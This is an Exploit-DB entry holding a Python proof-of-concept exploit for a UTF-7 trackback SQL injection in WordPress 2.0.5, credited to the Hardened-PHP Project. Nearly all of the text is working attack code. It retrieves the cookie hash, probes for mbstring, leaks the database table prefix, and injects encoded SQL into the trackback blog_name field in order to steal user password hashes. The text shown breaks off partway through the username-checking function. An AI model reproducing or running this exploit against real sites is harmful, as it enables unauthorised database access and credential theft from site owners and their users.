Exploit-DB #3095
Description: WordPress Core 2.0.5 - Trackback UTF-7 SQL Injection
Type: webapps
Platform: php
Date: 2007-01-07
Author: Stefan Esser

Exploit:
#!/usr/bin/python
#######################################################################
#  _  _                _                     _       ___  _  _  ___ 
# | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ \| || || _ \
# | __ |/ _` || '_|/ _` |/ -_)| ' \ / -_)/ _` ||___||  _/| __ ||  _/
# |_||_|\__,_||_|  \__,_|\___||_||_|\___|\__,_|     |_|  |_||_||_|  
#                                                        
#######################################################################
#         Proof of concept code from the Hardened-PHP Project 
#
#                         NOT FOR DISTRIBUTION
#                    PLEASE DO NOT SPREAD THIS CODE
#
#######################################################################
#
#                        -= Wordpress 2.0.5 =-
#                Trackback UTF-7 SQL injection exploit
#
#                   beware of encoded single-quotes
#
#######################################################################

import urllib
import getopt
import sys
import string
import re
import time
import datetime
import md5

__argv__ = sys.argv

def banner():
    print "Wordpress 2.0.5 - Trackback UTF-7 SQL injection exploit"
    print "Copyright (C) 2006 Stefan Esser/Hardened-PHP Project"
    print "            *** DO NOT DISTRIBUTE ***\n"

def usage():
    banner()
    print "Usage:\n"
    print "   $ ./wordpressx.py [options]\n"
    print "        -h http_url   url of the Wordpress blog"
    print "                      f.e. http://www.wordpress.org/development/"
    print "        -p id         id of posting to exploit trackback (default: 1)"
    print "        -i id         User id to steal password hash for(default: -1)"
    print "        -u username   username to steal password hash for (default: ...)"
    print ""
    sys.exit(-1)
    
def determineCookieHash(host):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to retrieve cookie hash"
    
    try:
        req = wclient.open(host + "/wp-login.php?action=logout")
    except IOError, e:
        if e[1] == 302:
            # Got a 302 redirect, but check for cookies before redirecting.
            # e[3] is a httplib.HTTPMessage instance.
            if e[3].dict.has_key('set-cookie'):
                cookie = e[3].dict['set-cookie'];
                chash = cookie[string.find(cookie, "user_")+5:]
                chash = chash[:string.find(chash, "=")]
                print "[+] Cookie hash found: %s" % chash
                return chash

            
    print "[-] Unable to retrieve cookie... something is wrong"
    sys.exit(-3)
    return ""
    
def determineIsMbstringInstalled(host, pid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to check if mbstring is installed"
    
    params = {
        'charset' : 'UTF-7',
	    'title' : '+ADA-'
    }
    
    try:
        req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print "[+] ext/mbstring is installed. continue with exploit"
            return 1
    
    content = req.read()
    
    if string.find(content, 'error>1</error>') != -1:
        print "[-] Illegal posting id choosen, test impossible"
        sys.exit(-2)
            
    print "[-] ext/mbstring not installed... exploit not possible"
    sys.exit(-2)
    return 0
    
def determineTablePrefix(host, pid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to determine mysql table prefix"
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : '+ACc-ILLEGAL'
    }
    
    try:
        req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print "[-] Table prefix cannot be determined... exploit not possible"
            sys.exit(-2)
            return ""
    
    content = req.read()
    
    f = re.search('FROM (.*)comments WHERE', content)
    if f != None:
        prefix = f.group(1)
        print "[+] Table prefix is: %s" % prefix
        return prefix
    
    print "[-] Table prefix cannot be determined... exploit not possible"
    sys.exit(-2)
    return ""

def lockTrackbacks(host, pid):

    now = datetime.datetime.utcnow()
    now = now.replace(microsecond = 0)
    
    future = now + datetime.timedelta(days=1)
    future = future.replace(microsecond = 0)
        
    wclient = urllib.URLopener()
    
    print "[+] Connecting to lock trackbacks"
    
    author = "Mark Mouse"
    author_email = "mark@incidents.org"
    author_url = ""
    author_ip = "210.35.2.3"
    agent = "Internet Explorer"
    futuredate = future.isoformat(' ')
    futuredate_gmt = future.isoformat(' ')
    date = now.isoformat(' ')
    date_gmt = now.isoformat(' ')
    
    sql = "%s','%s','%s','%s','%s','%s','','0','%s','comment','0','0'),('0', '', '', '', '', '%s', '%s', '', 'spam', '', 'comment', '0','0' ) /*" % \
          ( author , author_email , author_url , author_ip , date , date_gmt , agent, futuredate, futuredate_gmt )
    
    sql = string.replace(sql, "'", "+ACc-")
    
    params = {
        'charset' : 'UTF-7',
	    'title' : 'None',
        'url' : 'None',
        'excerpt' : 'None',
        'blog_name' : sql
    }
    
    try:
        req = wclient.open(host + "/wp-trackback.php?p=" + pid, urllib.urlencode(params))
    except IOError, e:
        if e[1] == 302:
            print "[-] Table prefix cannot be determined... exploit not possible"
            sys.exit(-2)
            return ""
    
    content = req.read()
    
    return ""

def checkUsername(host, pid, prefix, name, uid):

    wclient = urllib.URLopener()
    
    print "[+] Connecting to check if user %s is present" % name